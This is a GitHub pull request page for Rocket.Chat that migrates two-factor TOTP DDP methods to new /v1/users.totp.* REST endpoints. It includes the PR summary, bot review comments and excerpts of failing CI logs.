Skip to content

chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints#40734

Open
ggazzo wants to merge 2 commits into
developfrom
chore/ddp-migrate-batch5-2fa
Open

chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints#40734
ggazzo wants to merge 2 commits into
developfrom
chore/ddp-migrate-batch5-2fa

Conversation

@ggazzo

@ggazzo ggazzo commented May 29, 2026

Copy link
Copy Markdown
Member

Summary

Continues the DDP→REST sweep (#40659, #40711, #40675, #40724, #40728). This batch migrates the five 2fa:* TOTP DDP methods that backed account/security/TwoFactorTOTP. DDP methods stay registered for external SDK/mobile clients with deprecation logs pointing at the new routes.

New endpoints

DDP method REST endpoint Body Response
2fa:enable POST /v1/users.totp.enable { secret, url }
2fa:disable POST /v1/users.totp.disable { code } { disabled }
2fa:validateTempToken POST /v1/users.totp.validate { code } { codes }
2fa:regenerateCodes POST /v1/users.totp.regenerateCodes { code } { codes }
2fa:checkCodesRemaining GET /v1/users.totp.codesRemaining { remaining }

All five extract the original method body into a shared function (apps/meteor/app/2fa/server/functions/totp.ts) reused by both DDP + REST entrypoints.

Validate flow note

validate keeps the DDP-era post-enable login-token rotation: REST forwards the caller's X-Auth-Token (this.token) so non-PAT tokens get revoked just like the DDP path did via this.connection.httpHeaders['x-auth-token'].

Client changes

TwoFactorTOTP.tsx swapped five useMethod hooks for five useEndpoint hooks. Disable response shape changed from bare boolean to { disabled: boolean }; verify/regenerate continue to return { codes }.

Test plan

  • CI green (lint + typecheck pass)
  • Account → Security → Two-factor authentication → toggle on → QR appears, scan, verify code → backup codes modal renders
  • Re-load page → "You have N codes remaining" reads right
  • Regenerate backup codes → modal with new codes
  • Toggle 2FA off → enter current code → success toast; reload to confirm disabled state
  • Validate path revokes other login tokens (open second tab, validate, second tab gets kicked)

🤖 Generated with Claude Code

Summary by CodeRabbit

  • New Features

    • Added new REST-based two-factor authentication actions for enabling, disabling, validating, regenerating backup codes, and checking remaining codes.
    • Updated the account security screen to use the new API flow and show backup codes from the latest response.
  • Bug Fixes

    • Improved two-factor flows to better handle code verification, token refresh, and backup-code updates.
    • Legacy two-factor actions remain available during transition, with deprecation notices.

Added five new REST endpoints under /v1/users.totp.* covering the TOTP
flows that previously only existed as DDP methods:

- POST /v1/users.totp.enable            (2fa:enable)
- POST /v1/users.totp.disable           (2fa:disable)
- POST /v1/users.totp.validate          (2fa:validateTempToken)
- POST /v1/users.totp.regenerateCodes   (2fa:regenerateCodes)
- GET  /v1/users.totp.codesRemaining    (2fa:checkCodesRemaining)

Each DDP method body was extracted into a shared function under
apps/meteor/app/2fa/server/functions/totp.ts; the DDP methods now log
deprecation pointing at the new routes and delegate.

validate keeps the post-enable login-token rotation: the REST endpoint
forwards the request's X-Auth-Token (this.token) so non-PAT tokens get
revoked just like the DDP path did via this.connection.httpHeaders.

Client TwoFactorTOTP swapped from five useMethod hooks to five
useEndpoint hooks. disable response shape changed from bare boolean to
{ disabled: boolean }; verify/regenerate continue to return { codes }.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
@dionisio-bot

dionisio-bot Bot commented May 29, 2026

Copy link
Copy Markdown
Contributor

Looks like this PR is not ready to merge, because of the following issues:

  • This PR is missing the 'stat: QA assured' label
  • This PR is missing the required milestone or project

Please fix the issues and try again

If you have any trouble, please check the PR guidelines

@changeset-bot

changeset-bot Bot commented May 29, 2026

Copy link
Copy Markdown

🦋 Changeset detected

Latest commit: 616b525

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 3 packages
Name Type
@rocket.chat/meteor Minor
@rocket.chat/rest-typings Minor
@rocket.chat/core-typings Minor

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@coderabbitai

coderabbitai Bot commented May 29, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: eea15ad9-a3f1-452a-9958-59c60bdf5f34

📥 Commits

Reviewing files that changed from the base of the PR and between 275a6ed and 616b525.

📒 Files selected for processing (11)
  • .changeset/ddp-migrate-batch5-totp-caller.md
  • .changeset/rest-users-totp.md
  • apps/meteor/app/2fa/server/functions/totp.ts
  • apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts
  • apps/meteor/app/2fa/server/methods/disable.ts
  • apps/meteor/app/2fa/server/methods/enable.ts
  • apps/meteor/app/2fa/server/methods/regenerateCodes.ts
  • apps/meteor/app/2fa/server/methods/validateTempToken.ts
  • apps/meteor/app/api/server/v1/users.ts
  • apps/meteor/client/views/account/security/TwoFactorTOTP.tsx
  • packages/rest-typings/src/v1/users.ts
📜 Recent review details
⏰ Context from checks skipped due to timeout. (2)
  • GitHub Check: cubic · AI code reviewer
  • GitHub Check: Hacktron Security Check
⚠️ CI failures not shown inline (8)

GitHub Actions: CI / 0_✅ Tests Done.txt: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run if [[ 'success' != 'success' ]]; then
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'failure' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'failure' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mecho finished�[0m
 shell: /usr/bin/bash -e {0}
 env:
   TOOL_NODE_FLAGS: --max_old_space_size=4096
 ##[endgroup]
 ##[error]Process completed with exit code 1.

GitHub Actions: CI / 🔨 Test Federation Matrix: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run yarn test:integration --ci
 �[36;1myarn test:integration --ci�[0m
 shell: /usr/bin/bash -e {0}
 env:
   TOOL_NODE_FLAGS: --max_old_space_size=4096
   NODE_VERSION: 22.22.3
   DENO_VERSION: 2.3.1
   MONGOMS_DOWNLOAD_DIR: /home/runner/work/_temp/mongodb-memory-server
   MONGOMS_PREFER_GLOBAL_PATH: false
   TURBOGHA_PORT: 41230
   TURBO_API: http://localhost:41230
   TURBO_***REDACTED***
   TURBO_TEAM: turbogha
   QASE_TESTOPS_JEST_API_***REDACTED***
   PR_NUMBER: 40734
 ##[endgroup]
 �[0;34mℹ️  [] Running end-to-end tests...�[0m
 [INFO] qase: Test should create a federated room when federated members are added passed
 [INFO] qase: Test should create a non-federated room when only local members are added passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow and show an error message passed
 [INFO] qase: Test should not allow and show an error message passed
 [INFO] qase: Test should show the room on the remote Element or RC passed
 [INFO] qase: Test should show the new user in the members list passed
 [INFO] qase: Test should show the system message that the user was invited passed
 [INFO] qase: Test should show the room on all the involved remote Element or RC passed
 [INFO] qase: Test should show the new users in the members list of all RCs involved passed
 [INFO] qase: Test should show the system messages that the users were invited passed
 [INFO] qase: Test should show the system messages that the users joined when they accept the invites passed
 [INFO] qase: Test should show the room on the remote Element or RC and local for the second user passed
 [INFO] qase: Test should show the 2 new users in the members list passed
 [INFO] qase: Test should show the 2 system messages that the users were invited passed
 [INFO] qase: Test should set the topic on the Rocket...

GitHub Actions: CI / 🔨 Test UI (EE) _ MongoDB 8.0 coverage (1_5): chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run docker ps
 �[36;1mdocker ps�[0m
 �[36;1m�[0m
 �[36;1muntil docker compose -f docker-compose-ci.yml logs ddp-streamer-service | grep -q "NetworkBroker started successfully"; do�[0m
 �[36;1m  echo "Waiting 'ddp-streamer' to start up"�[0m
 �[36;1m  ((c++)) && ((c==10)) && docker compose -f docker-compose-ci.yml logs ddp-streamer-service && exit 1�[0m
 �[36;1m  sleep 10�[0m
 �[36;1mdone;�[0m
 shell: /usr/bin/bash -e {0}
 env:
   MONGO_URL: mongodb://localhost:27017/rocketchat?replicaSet=rs0&directConnection=true
   TOOL_NODE_FLAGS: --max_old_space_size=4096
   LOWERCASE_REPOSITORY: rocketchat
   DOCKER_TAG: pr-40734-amd64
   DOCKER_TAG_SUFFIX_ROCKETCHAT:
   MONGODB_VERSION: 8.0
   COVERAGE_DIR: /tmp/coverage/ui
   COVERAGE_FILE_NAME: ui-1.json
   COVERAGE_REPORTER: json
   NODE_VERSION: 22.22.3
   DENO_VERSION: 2.3.1
   MONGOMS_DOWNLOAD_DIR: /home/runner/work/_temp/mongodb-memory-server
   MONGOMS_PREFER_GLOBAL_PATH: false
   TURBOGHA_PORT: 41230
   TURBO_API: http://localhost:41230
   TURBO_***REDACTED***
   TURBO_TEAM: turbogha
 ##[endgroup]
 CONTAINER ID   IMAGE                                                              COMMAND                  CREATED          STATUS                    PORTS                                                                                      NAMES
 04f0bd106533   ghcr.io/rocketchat/omnichannel-transcript-service:pr-40734-amd64   "docker-entrypoint.s…"   42 seconds ago   Up 41 seconds             3000/tcp, 9458/tcp                                                                         rocketchat-omnichannel-transcript-service-1
 e5a7ea38534d   ghcr.io/rocketchat/authorization-service:pr-40734-amd64            "docker-entrypoint.s…"   42 seconds ago   Up 41 seconds             3000/tcp, 9458/tcp                                                                         rocketchat-authorization-service-1
 f81a8f121b4f   ghcr.io/rocketchat/account-service:pr-40734-amd64                  "docker-entrypoint.s…"   42 second...

GitHub Actions: CI / ✅ Tests Done: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run if [[ 'success' != 'success' ]]; then
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'failure' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'success' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mif [[ 'failure' != 'success' ]]; then�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mecho finished�[0m
 shell: /usr/bin/bash -e {0}
 env:
   TOOL_NODE_FLAGS: --max_old_space_size=4096
 ##[endgroup]
 ##[error]Process completed with exit code 1.

GitHub Actions: CI / 16_📦 Track Image Sizes.txt: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run current_total=$(jq -r '.total' current-sizes.json)
 �[36;1mcurrent_total=$(jq -r '.total' current-sizes.json)�[0m
 �[36;1m�[0m
 �[36;1mif [[ ! -f baseline-sizes.json ]]; then�[0m
 �[36;1m  echo "No baseline available"�[0m
 �[36;1m  echo "size-diff=0" >> $GITHUB_OUTPUT�[0m
 �[36;1m  echo "size-diff-percent=0" >> $GITHUB_OUTPUT�[0m
 �[36;1m  echo "comment-triggered=false" >> $GITHUB_OUTPUT�[0m
 �[36;1m�[0m
 �[36;1m  cat > report.md << 'EOF'�[0m
 �[36;1m# 📦 Docker Image Size Report�[0m
 �[36;1m�[0m
 �[36;1m**Status:** First measurement - no baseline for comparison�[0m
 �[36;1m�[0m
 �[36;1m**Total Size:** $(numfmt --to=iec-i --suffix=B $current_total)�[0m
 �[36;1mEOF�[0m
 �[36;1m  exit 0�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mbaseline_total=$(jq -r '.total' baseline-sizes.json)�[0m
 �[36;1mdiff=$((current_total - baseline_total))�[0m
 �[36;1m�[0m
 �[36;1mif [[ $baseline_total -gt 0 ]]; then�[0m
 �[36;1m  percent=$(awk "BEGIN {printf \"%.2f\", ($diff / $baseline_total) * 100}")�[0m
 �[36;1melse�[0m
 �[36;1m  percent=0�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mecho "size-diff=$diff" >> $GITHUB_OUTPUT�[0m
 �[36;1mecho "size-diff-percent=$percent" >> $GITHUB_OUTPUT�[0m
 �[36;1m�[0m
 �[36;1m# Only comment when size is bigger than baseline; optionally require per-image thresholds�[0m
 �[36;1mTHRESHOLDS="$SIZE_THRESHOLDS"�[0m
 �[36;1mFAIL_THRESHOLDS="$FAIL_THRESHOLDS"�[0m
 �[36;1mcomment_triggered=false�[0m
 �[36;1mfail_triggered=false�[0m
 �[36;1mif [[ $diff -gt 0 ]]; then�[0m
 �[36;1m  if [[ -z "$THRESHOLDS" ]] || [[ "$THRESHOLDS" == "{}" ]]; then�[0m
 �[36;1m    comment_triggered=true�[0m
 �[36;1m  fi�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1mcolor="gray"�[0m
 �[36;1mif (( $(awk "BEGIN {print ($percent > 0.01)}") )); then�[0m
 �[36;1m  color="red"�[0m
 �[36;1melif (( $(awk "BEGIN {print ($percent < -0.01)}") )); then�[0m
 �[36;1m  color="green"�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1m# Generate report�[0m
 �[36;1mif [[ $diff -gt 0 ]]; then�[0m
 �[36;1m  emoji=...

GitHub Actions: CI / 10_🔨 Test UI (EE) _ MongoDB 8.0 coverage (1_5).txt: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run docker ps
 �[36;1mdocker ps�[0m
 �[36;1m�[0m
 �[36;1muntil docker compose -f docker-compose-ci.yml logs ddp-streamer-service | grep -q "NetworkBroker started successfully"; do�[0m
 �[36;1m  echo "Waiting 'ddp-streamer' to start up"�[0m
 �[36;1m  ((c++)) && ((c==10)) && docker compose -f docker-compose-ci.yml logs ddp-streamer-service && exit 1�[0m
 �[36;1m  sleep 10�[0m
 �[36;1mdone;�[0m
 shell: /usr/bin/bash -e {0}
 env:
   MONGO_URL: mongodb://localhost:27017/rocketchat?replicaSet=rs0&directConnection=true
   TOOL_NODE_FLAGS: --max_old_space_size=4096
   LOWERCASE_REPOSITORY: rocketchat
   DOCKER_TAG: pr-40734-amd64
   DOCKER_TAG_SUFFIX_ROCKETCHAT:
   MONGODB_VERSION: 8.0
   COVERAGE_DIR: /tmp/coverage/ui
   COVERAGE_FILE_NAME: ui-1.json
   COVERAGE_REPORTER: json
   NODE_VERSION: 22.22.3
   DENO_VERSION: 2.3.1
   MONGOMS_DOWNLOAD_DIR: /home/runner/work/_temp/mongodb-memory-server
   MONGOMS_PREFER_GLOBAL_PATH: false
   TURBOGHA_PORT: 41230
   TURBO_API: http://localhost:41230
   TURBO_***REDACTED***
   TURBO_TEAM: turbogha
 ##[endgroup]
 CONTAINER ID   IMAGE                                                              COMMAND                  CREATED          STATUS                    PORTS                                                                                      NAMES
 04f0bd106533   ghcr.io/rocketchat/omnichannel-transcript-service:pr-40734-amd64   "docker-entrypoint.s…"   42 seconds ago   Up 41 seconds             3000/tcp, 9458/tcp                                                                         rocketchat-omnichannel-transcript-service-1
 e5a7ea38534d   ghcr.io/rocketchat/authorization-service:pr-40734-amd64            "docker-entrypoint.s…"   42 seconds ago   Up 41 seconds             3000/tcp, 9458/tcp                                                                         rocketchat-authorization-service-1
 f81a8f121b4f   ghcr.io/rocketchat/account-service:pr-40734-amd64                  "docker-entrypoint.s…"   42 second...

GitHub Actions: CI / 19_🔨 Test Federation Matrix.txt: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

##[group]Run yarn test:integration --ci
 �[36;1myarn test:integration --ci�[0m
 shell: /usr/bin/bash -e {0}
 env:
   TOOL_NODE_FLAGS: --max_old_space_size=4096
   NODE_VERSION: 22.22.3
   DENO_VERSION: 2.3.1
   MONGOMS_DOWNLOAD_DIR: /home/runner/work/_temp/mongodb-memory-server
   MONGOMS_PREFER_GLOBAL_PATH: false
   TURBOGHA_PORT: 41230
   TURBO_API: http://localhost:41230
   TURBO_***REDACTED***
   TURBO_TEAM: turbogha
   QASE_TESTOPS_JEST_API_***REDACTED***
   PR_NUMBER: 40734
 ##[endgroup]
 �[0;34mℹ️  [] Running end-to-end tests...�[0m
 [INFO] qase: Test should create a federated room when federated members are added passed
 [INFO] qase: Test should create a non-federated room when only local members are added passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow the creation of the room passed
 [INFO] qase: Test should not allow and show an error message passed
 [INFO] qase: Test should not allow and show an error message passed
 [INFO] qase: Test should show the room on the remote Element or RC passed
 [INFO] qase: Test should show the new user in the members list passed
 [INFO] qase: Test should show the system message that the user was invited passed
 [INFO] qase: Test should show the room on all the involved remote Element or RC passed
 [INFO] qase: Test should show the new users in the members list of all RCs involved passed
 [INFO] qase: Test should show the system messages that the users were invited passed
 [INFO] qase: Test should show the system messages that the users joined when they accept the invites passed
 [INFO] qase: Test should show the room on the remote Element or RC and local for the second user passed
 [INFO] qase: Test should show the 2 new users in the members list passed
 [INFO] qase: Test should show the 2 system messages that the users were invited passed
 [INFO] qase: Test should set the topic on the Rocket...

GitHub Actions: CI / 28_🔨 Test Unit _ Unit Tests.txt: chore: migrate 2FA TOTP DDP methods to /v1/users.totp.* REST endpoints

Conclusion: failure

View job details

27017/rocketchat?replicaSet=rs0&directConnection=true
   TOOL_NODE_FLAGS: --max_old_space_size=4096
   ENTERPRISE_LICENSE: Uo7Jcr6WW0XYA8ydHd+Sk6pZ9/0V6dIASnyTwvUrNym/zJg2Ma3eYNKkC8osXLCc72y1ahohnWY7/+7IYkvono3GYXQR+IGvYbbrVgNR6OjMahd9P/odHZL1GFTm2qHrEL5Hh/XEOG+YluFeRdWPzCizQlp4zGGOi0+PkQo096TR9NVCLrsErVl2MW1WM6ZM1W5EUJG9pKly4BQnaOTUAlor1im6i8qPTDCKrISZfLiZEWuQKaPW/GE3mRKjQNjDh0CabX1N2S880pRRGoozBYAnp2NmFfrQW0+5ihKisBTIeMbMZ7K5NE5PkYU1nhQDcc+rpDHtwG9Ceg5X0J+oea3UfrPTmDON2aSI0iO22kvL6G7QI3fyrEIvJrMbxcNKxAFeQYgnjisw/b06+chWSG4jG686Fx58XrVS87dFhWL9WoGltsk1dJCntUQvI1sX6zOfpvyg1iWRnHfYDOrwoWlX57XMm29fWineEoqnOOTOVnA/uP+DKEhercQ9Xuo7Cr6zJxpQpwd03e7ODVjiEbTDqlkZE687rmxRCD4Wmu8L86WIl2xSEIajKLX301Ww5mz/FdLqk+Mg32lkW66W3azQKvJ1440NBrYxhpJ+dl9vSFMb3s1+xnz1cYUbjUcq9mARvORcgy5mLwKulmqT6Sq0Uvbv10YCO0TW0beXYW8=
   NODE_VERSION: 22.22.3
   DENO_VERSION: 2.3.1
   MONGOMS_DOWNLOAD_DIR: /home/runner/work/_temp/mongodb-memory-server
   MONGOMS_PREFER_GLOBAL_PATH: false
   TURBOGHA_PORT: 41230
   TURBO_API: http://localhost:41230
   TURBO_***REDACTED***
   TURBO_TEAM: turbogha
 ##[endgroup]
 ##[group]Run missing_deps=""
 �[36;1mmissing_deps=""�[0m
 �[36;1m�[0m
 �[36;1m# Check for always-required commands�[0m
 �[36;1mfor cmd in bash git curl; do�[0m
 �[36;1m  if ! command -v "$cmd" >/dev/null 2>&1; then�[0m
 �[36;1m    missing_deps="$missing_deps $cmd"�[0m
 �[36;1m  fi�[0m
 �[36;1mdone�[0m
 �[36;1m�[0m
 �[36;1m# Check for gpg only if validation is not being skipped�[0m
 �[36;1mif [ "$INPUT_SKIP_VALIDATION" != "true" ]; then�[0m
 �[36;1m  if ! command -v gpg >/dev/null 2>&1; then�[0m
 �[36;1m    missing_deps="$missing_deps gpg"�[0m
 �[36;1m  fi�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
 �[36;1m# Report missing required dependencies�[0m
 �[36;1mif [ -n "$missing_deps" ]; then�[0m
 �[36;1m  echo "Error: The following required dependencies are missing:$missing_deps"�[0m
 �[36;1m  echo "Please install these dependencies before using this action."�[0m
 �[36;1m  exit 1�[0m
 �[36;1mfi�[0m
 �[36;1m�[0m
...
🧰 Additional context used
📓 Path-based instructions (1)
**/*.{ts,tsx,js}

📄 CodeRabbit inference engine (.cursor/rules/playwright.mdc)

**/*.{ts,tsx,js}: Write concise, technical TypeScript/JavaScript with accurate typing in Playwright tests
Avoid code comments in the implementation

Files:

  • apps/meteor/app/2fa/server/methods/regenerateCodes.ts
  • apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts
  • apps/meteor/app/2fa/server/methods/validateTempToken.ts
  • apps/meteor/app/api/server/v1/users.ts
  • apps/meteor/client/views/account/security/TwoFactorTOTP.tsx
  • packages/rest-typings/src/v1/users.ts
  • apps/meteor/app/2fa/server/methods/enable.ts
  • apps/meteor/app/2fa/server/methods/disable.ts
  • apps/meteor/app/2fa/server/functions/totp.ts
🧠 Learnings (10)
📚 Learning: 2026-03-16T21:50:37.589Z
Learnt from: amitb0ra
Repo: RocketChat/Rocket.Chat PR: 39676
File: .changeset/migrate-users-register-openapi.md:3-3
Timestamp: 2026-03-16T21:50:37.589Z
Learning: For changes related to OpenAPI migrations in Rocket.Chat/OpenAPI, when removing endpoint types and validators from rocket.chat/rest-typings (e.g., UserRegisterParamsPOST, /v1/users.register) document this as a minor changeset (not breaking) per RocketChat/Rocket.Chat-Open-API#150 Rule 7. Note that the endpoint type is re-exposed via a module augmentation .d.ts in the consuming package (e.g., packages/web-ui-registration/src/users-register.d.ts). In reviews, ensure the changeset clearly states: this is a non-breaking change, the major version should not be bumped, and the changeset reflects a minor version bump. Do not treat this as a breaking change during OpenAPI migrations.

Applied to files:

  • .changeset/rest-users-totp.md
  • .changeset/ddp-migrate-batch5-totp-caller.md
📚 Learning: 2026-02-26T19:25:44.063Z
Learnt from: gabriellsh
Repo: RocketChat/Rocket.Chat PR: 38778
File: packages/ui-voip/src/providers/useMediaSession.ts:192-192
Timestamp: 2026-02-26T19:25:44.063Z
Learning: In the Rocket.Chat repository, do not reference Biome lint rules in code review feedback. Biome is not used even if biome.json exists; only reference Biome rules if there is explicit, project-wide usage documented. For TypeScript files, review lint implications without Biome guidance unless the project enables Biome rules.

Applied to files:

  • apps/meteor/app/2fa/server/methods/regenerateCodes.ts
  • apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts
  • apps/meteor/app/2fa/server/methods/validateTempToken.ts
  • apps/meteor/app/api/server/v1/users.ts
  • packages/rest-typings/src/v1/users.ts
  • apps/meteor/app/2fa/server/methods/enable.ts
  • apps/meteor/app/2fa/server/methods/disable.ts
  • apps/meteor/app/2fa/server/functions/totp.ts
📚 Learning: 2026-02-26T19:25:44.063Z
Learnt from: gabriellsh
Repo: RocketChat/Rocket.Chat PR: 38778
File: packages/ui-voip/src/providers/useMediaSession.ts:192-192
Timestamp: 2026-02-26T19:25:44.063Z
Learning: In this repository (RocketChat/Rocket.Chat), Biome lint rules are not used even if a biome.json exists. When reviewing TypeScript files (e.g., packages/ui-voip/src/providers/useMediaSession.ts), ensure lint suggestions do not reference Biome-specific rules. Rely on general ESLint/TypeScript lint rules and project conventions instead.

Applied to files:

  • apps/meteor/app/2fa/server/methods/regenerateCodes.ts
  • apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts
  • apps/meteor/app/2fa/server/methods/validateTempToken.ts
  • apps/meteor/app/api/server/v1/users.ts
  • packages/rest-typings/src/v1/users.ts
  • apps/meteor/app/2fa/server/methods/enable.ts
  • apps/meteor/app/2fa/server/methods/disable.ts
  • apps/meteor/app/2fa/server/functions/totp.ts
📚 Learning: 2026-05-06T12:21:44.083Z
Learnt from: juliajforesti
Repo: RocketChat/Rocket.Chat PR: 40256
File: apps/meteor/client/components/CreateDiscussion/CreateDiscussion.tsx:121-149
Timestamp: 2026-05-06T12:21:44.083Z
Learning: Field wrappers in rocket.chat/fuselage-forms (Field, FieldLabel, FieldRow, FieldError, FieldHint) auto-create htmlFor/id associations, aria-describedby, and role="alert" for errors. Do not manually set htmlFor, id, aria-describedby, or role attributes when using these wrappers. This automatic wiring does not apply to plain rocket.chat/fuselage components, which require explicit ID wiring per the accessibility docs. In code reviews, prefer using fuselage-forms wrappers for form fields and verify there is no unnecessary manual ID/aria wiring in files that use these wrappers. If a component uses plain fuselage components, ensure proper id wiring as per docs.

Applied to files:

  • apps/meteor/app/2fa/server/methods/regenerateCodes.ts
  • apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts
  • apps/meteor/app/2fa/server/methods/validateTempToken.ts
  • apps/meteor/app/api/server/v1/users.ts
  • apps/meteor/client/views/account/security/TwoFactorTOTP.tsx
  • packages/rest-typings/src/v1/users.ts
  • apps/meteor/app/2fa/server/methods/enable.ts
  • apps/meteor/app/2fa/server/methods/disable.ts
  • apps/meteor/app/2fa/server/functions/totp.ts
📚 Learning: 2026-02-23T17:53:06.802Z
Learnt from: ggazzo
Repo: RocketChat/Rocket.Chat PR: 35995
File: apps/meteor/app/api/server/v1/rooms.ts:1107-1112
Timestamp: 2026-02-23T17:53:06.802Z
Learning: During PR reviews that touch endpoint files under apps/meteor/app/api/server/v1, enforce strict scope: if a PR targets a specific endpoint (e.g., rooms.favorite), do not propose changes to unrelated endpoints (e.g., rooms.invite) unless maintainers explicitly request them. Focus feedback on the touched endpoint's behavior, API surface, and related tests; avoid broad cross-endpoint changes in the same PR unless requested.

Applied to files:

  • apps/meteor/app/api/server/v1/users.ts
📚 Learning: 2026-02-24T19:09:01.522Z
Learnt from: ahmed-n-abdeltwab
Repo: RocketChat/Rocket.Chat PR: 38974
File: apps/meteor/app/api/server/v1/im.ts:220-221
Timestamp: 2026-02-24T19:09:01.522Z
Learning: In Rocket.Chat OpenAPI migration PRs for endpoints under apps/meteor/app/api/server/v1, avoid introducing logic changes. Only perform scope-tight changes that preserve behavior; style-only cleanups (e.g., removing inline comments) may be deferred to follow-ups to keep the migration PR focused.

Applied to files:

  • apps/meteor/app/api/server/v1/users.ts
📚 Learning: 2026-03-15T14:31:25.380Z
Learnt from: amitb0ra
Repo: RocketChat/Rocket.Chat PR: 39647
File: apps/meteor/app/api/server/v1/users.ts:710-757
Timestamp: 2026-03-15T14:31:25.380Z
Learning: Do not flag this type/schema misalignment in the OpenAPI/migration review for apps/meteor/app/api/server/v1/users.ts. The UserCreateParamsPOST type intentionally uses non-optional fields: fields: string and settings?: IUserSettings without an AJV schema entry, carried over from the original rest-typings (PR `#39647`). Treat this as a known pre-existing divergence and document it as a separate follow-up fix; do not block or mark it as a review issue during the migration.

Applied to files:

  • apps/meteor/app/api/server/v1/users.ts
📚 Learning: 2026-03-16T23:33:11.443Z
Learnt from: amitb0ra
Repo: RocketChat/Rocket.Chat PR: 39676
File: apps/meteor/app/api/server/v1/users.ts:862-869
Timestamp: 2026-03-16T23:33:11.443Z
Learning: In rockets OpenAPI/AJV migration reviews for RocketChat/Rocket.Chat, when reviewing migrations that involve apps/meteor/app/api/server/v1/users.ts, do not require or flag a missing query AJV schema for the fields consumed by parseJsonQuery() (i.e., fields, sort, query) as part of this endpoint's migration PR. The addition of global query-param schemas for parseJsonQuery() usage is a cross-cutting concern and out of scope for individual endpoint migrations. Only flag violations related to the specific scope of the migration, not the absence of a query schema for parseJsonQuery() in this file.

Applied to files:

  • apps/meteor/app/api/server/v1/users.ts
📚 Learning: 2026-03-27T14:52:56.865Z
Learnt from: dougfabris
Repo: RocketChat/Rocket.Chat PR: 39892
File: apps/meteor/client/views/room/contextualBar/Threads/Thread.tsx:150-155
Timestamp: 2026-03-27T14:52:56.865Z
